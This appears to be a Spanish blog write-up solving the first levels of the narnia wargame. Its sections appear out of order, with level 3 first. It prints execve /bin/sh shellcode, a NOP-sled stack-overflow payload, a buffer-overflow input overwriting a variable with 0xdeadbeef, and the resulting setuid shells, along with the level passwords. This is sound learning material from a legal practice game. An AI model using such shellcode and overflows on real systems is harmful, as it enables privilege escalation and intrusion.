level3@narnia:/wargame$ EGG=`echo -e "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42\x60\xfb\xff\xbf"`
level3@narnia:/wargame$ ./level3 $EGG
sh-3.1$ id                  
uid=1003(level3) gid=1003(level3) euid=1004(level4) groups=1003(level3)
sh-3.1$ cat /home/level4/.passwd
ohb%a6Oh

Y ya tenemos la contraseña para el próximo nivel, que es curioso.

Seguimos con la resolución de este ‘sencillito’ wargame. Si bien el nivel anterior era para empezar a sentir el cosquilleo del desbordamiento de búfer con un sencillo ejercicio, en este nivel se pide introducir datos para ejecutar.

LEVEL2

Igual que en el nivel anterior, ejecutamos /wargame/level2 y nos dice lo siguiente:

Give me something to execute at the env-variable EGG

Como no está muy claro, vamos a ver si el código nos lo aclara.

#include <stdio.h>
#include <stdlib.h>
 
int main(){
        int (*ret)();
 
        if((ret=getenv("EGG"))==NULL){
                printf("Give me something to execute at the env-variable EGG\n");
                exit(1);
        }
 
        printf("Trying to execute EGG!\n");
        seteuid(1003);
 
        ret();
 
        return 0;
}

Lo que hace el código es declarar un puntero a función, apuntarlo hacia lo que le enviemos en la variable de entorno EGG y ejecutarlo. Así que lo que debemos hacer es poner algo ejecutable en EGG o, de lo contrario tendremos el tan temido segmentation fault.

Por un tiempo quise generar el código yo mismo. Incluso cogí el libro del ‘deep C secrets’ para ver cómo hacerlo. Pero finalmente pensé que era más sencillo copiar el código de algún sitio. Buscando ‘shellcode’ llegué a esta página.

En cualquier caso, os recomiendo que leáis la página que es muy formativa.

Pillando el shellcode del epígrafe “The execve examples number I (no arguments):” lo podemos cargar en la variable EGG y lanzar level2. Y así conseguir ejecutar /bin/sh con effective uid level3.

level2@narnia:/wargame$ EGG=`echo -e "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42"` ./level2
sh-3.1$ id
uid=1002(level2) gid=1002(level2) euid=1003(level3) groups=1002(level2)
sh-3.1$ cat /home/level3/.passwd
Ieng#um4

Y esta es la contraseña del próximo nivel, que empieza a complicarse.

Hace tiempo intenté hacerme el wargame Leviathan de intruded.net (cuando @roman_soft lo publicó en twitter) sin mucho éxito. La verdad es que nunca había jugado a un juego así y no tenía muy claro cómo hacerlo.

El otro día me picó otra vez la curiosidad y me decidí a hacerlo, con algo de ayuda, si hacía falta (que hizo :)).

Si os pilla la curiosidad y queréis ir pillando la gracia de este tipo de juegos y lo que se aprende de ellos (que para eso se juega, realmente) podéis echar un ojo a la solución por @joseselvi.

Podéis ir intentando resolverlo vosotros mismos y, si os atrancáis leed hasta que os venga la inspiración.

Pero bueno, este artículo no va precisamente de este juego sino del siguiente en dificultad que publica intruded. Se trata de narnia. Este lo he empezado a hacer yo solo y, si la solución está por ahí, yo aún ni la he buscado.

El objetivo es, igual que en el anterior, ir consiguiendo acceso a cuentas de otros usuarios. Se empieza con el usuario level1 y el objetivo es conseguir level2 y así sucesivamente.

Para ello, suele haber unos ficheros en /wargame con setuid a los que hay que encontrar alguna vulnerabilidad, truco o lo que sea que haga que puedas impersonar al otro usuario lo suficiente como para leer un fichero .passwd en su directorio personal.

En el caso de narnia te dan el código fuente del ejecutable para ayudarte a encontrar la solución.

Sin más dilación, os describo como resolví el nivel 1.

LEVEL1

Lo primero que debéis hacer es entrar en el servidor:

ssh -p 10102 level1@narnia.intruded.net

La contraseña es ‘narnia’.

El fichero que nos interesa es /wargame/level1. Si lo ejecutamos nos pregunta
por un valor para convertir una cadena en otra (???).

Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance:

Si echamos un ojo al código, entendemos que se trata de un desbordamiento de búffer que debemos hacer al array buf para que cambie la variable val.

#include <stdio.h>
#include <stdlib.h>
 
int main(){
        long val=0x41414141;
        char buf[20];
 
        printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
        printf("Here is your chance: ");
        scanf("%24s",&buf);
 
        printf("buf: %s\n",buf);
        printf("val: 0x%08x\n",val);
 
        if(val==0xdeadbeef){
                seteuid(1002);
                system("/bin/sh");
        } else {
                printf("WAY OFF!!!!\n");
                exit(1);
        }
 
        return 0;
}

Por lo tanto tenemos que introducir 24 caracteres, 20 para llenar buf y 4 para cambiar val. Los primeros veinte caracteres dan igual, así que centremonos en los 4 últimos. Para extraer los valores he usado irb, la interfaz interactiva de ruby (en mi equipo, no en narnia).

$ irb
>> val=[0xde, 0xad, 0xbe, 0xef]
=> [222, 173, 190, 239]
>> val.map { |c| c.chr }
=> ["\336", "\255", "\276", "\357"]
>> val.map { |c| c.chr }.reverse
=> ["\357", "\276", "\255", "\336"]
>> val.map { |c| c.chr }.reverse.join
=> "\357\276\255\336"

Después de probar varias veces te das cuenta de que los caracteres entran al revés en val, de ahí el reverse. Y ahora sólo hay que probarlo. Pero hay un problema, estos caracteres no son imprimibles (por eso aparecen en octal). Por lo tanto, ¿cómo se los metemos al fichero.

Si probáis a imprimirlos y capturar de la pantalla, no os va a funcionar. Entonces, envíémoslos con una redirección:

echo -e "00001111000011110000\357\276\255\336" | ./level1

Bieennn… ya somos level2, ¿verdad? Comprobemoslo:

level1@narnia:~$ id
uid=1001(level1) gid=1001(level1) groups=1001(level1)

Ups. ¿Qué ha pasado? Pues que cuando ./level1 se ‘convierte’ en /bin/sh espera recibir la entrada estándar, pero esta está conectada a la salida de echo que se ha acabado, así que esta shell se acaba también y no somos capaces de usarla :(.

Por mucho que intenté meter los caracteres directamente, no pude hacerlo. Así que probé y probé y busqué y busqué. Encontré la solución en esta pregunta de StackOverflow. Así que hice lo siguiente:

echo -e "00001111000011110000\357\276\255\336" > /tmp/dead
(cat /tmp/dead; cat) | ./level1
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: 00001111000011110000ᆳ�
val: 0xdeadbeef

Ahora sí que tenemos una shell con level2:

id
uid=1001(level1) gid=1001(level1) euid=1002(level2) groups=1001(level1)
cat /home/level2/.passwd
eij0OoG+

Y esta es la contraseña para el siguiente nivel. Ya os contaré si consigo pasarlo.